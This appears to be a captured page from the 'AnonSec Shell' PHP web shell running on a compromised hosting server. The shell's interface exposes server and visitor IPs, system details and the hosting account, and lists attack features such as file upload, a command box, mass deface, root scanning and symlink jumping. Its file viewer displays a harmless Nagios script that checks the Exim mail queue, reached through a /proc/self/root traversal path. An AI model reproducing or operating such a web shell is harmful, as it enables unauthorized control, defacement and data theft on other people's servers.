. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 104.21.41.133  /  Your IP : 18.116.42.143   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux altar63.supremepanel63.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : abranoticias ( 1103)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/proc/self/root/lib64/nagios/plugins/check_eximq
#!/bin/bash
###############################################
#
# Nagios script to check Exim mail queue status
#
# NOTE: Depending on your config, the nagios user will probably be 
#       needed to be added to the exim group for this script to function correctly
# 
# See usage for command line switches
# 
# Created: 2006-07-31 (i.yates@uea.ac.uk)
#
###############################################

. /usr/lib64/nagios/plugins/utils.sh


VERSION="1.0"

EXIM="sudo /usr/sbin/exim"

FLAG_VERBOSE=FALSE
LEVEL_WARN=""
LEVEL_CRIT=""
RESULT=""
EXIT_STATUS=$STATE_OK


###############################################
#
## FUNCTIONS 
#

## Print usage
usage() {
        echo " check_eximailqueue $VERSION - Nagios Exim mail queue check script"
        echo ""
        echo " Usage: check_eximailqueue -w <warning queue size> -c <critical queue size> [ -v ] [ -h ]"
        echo ""
        echo "           -w  Queue size at which a warning is triggered"
        echo "           -c  Queue size at which a critical is triggered"
        echo "           -v  Verbose output (ignored for now)"
        echo "           -h  Show this page"
        echo ""
}
 
## Process command line options
doopts() {
        if ( `test 0 -lt $#` )
        then
                while getopts w:c:vh myarg "$@"
                do
                        case $myarg in
                                h|\?)
                                        usage
                                        exit;;
                                w)
                                        LEVEL_WARN=$OPTARG;;
                                c)
                                        LEVEL_CRIT=$OPTARG;;
                                v)
                                        FLAG_VERBOSE=TRUE;;
                                *)      # Default
                                        usage
                                        exit;;
                        esac
                done
        else
                usage
                exit
        fi
}


# Write output and return result
theend() {
        echo $RESULT
        exit $EXIT_STATUS
}


#
## END FUNCTIONS 
#

#############################################
#
## MAIN 
#


# Handle command line options
doopts $@

# Do the do
OUTPUT=`$EXIM -bpc`
if test -z "$OUTPUT" ; then
        RESULT="Mailqueue WARNING - query returned no output!"
        EXIT_STATUS=$STATE_WARNING
else
        if test "$OUTPUT" -lt "$LEVEL_WARN" ; then
                RESULT="Mailqueue OK - $OUTPUT messages on queue"
                EXIT_STATUS=$STATE_OK
        else
                if test "$OUTPUT" -gt "$LEVEL_CRIT" ; then 
                        RESULT="Mailqueue CRITICAL - $OUTPUT messages on queue"
                        EXIT_STATUS=$STATE_CRITICAL
                else
                        if test "$OUTPUT" -gt "$LEVEL_WARN" ; then 
                                RESULT="Mailqueue WARNING - $OUTPUT messages on queue"
                                EXIT_STATUS=$STATE_WARNING
                        fi
                fi
        fi
fi

# Quit and return information and exit status
theend


Anon7 - 2022
AnonSec Team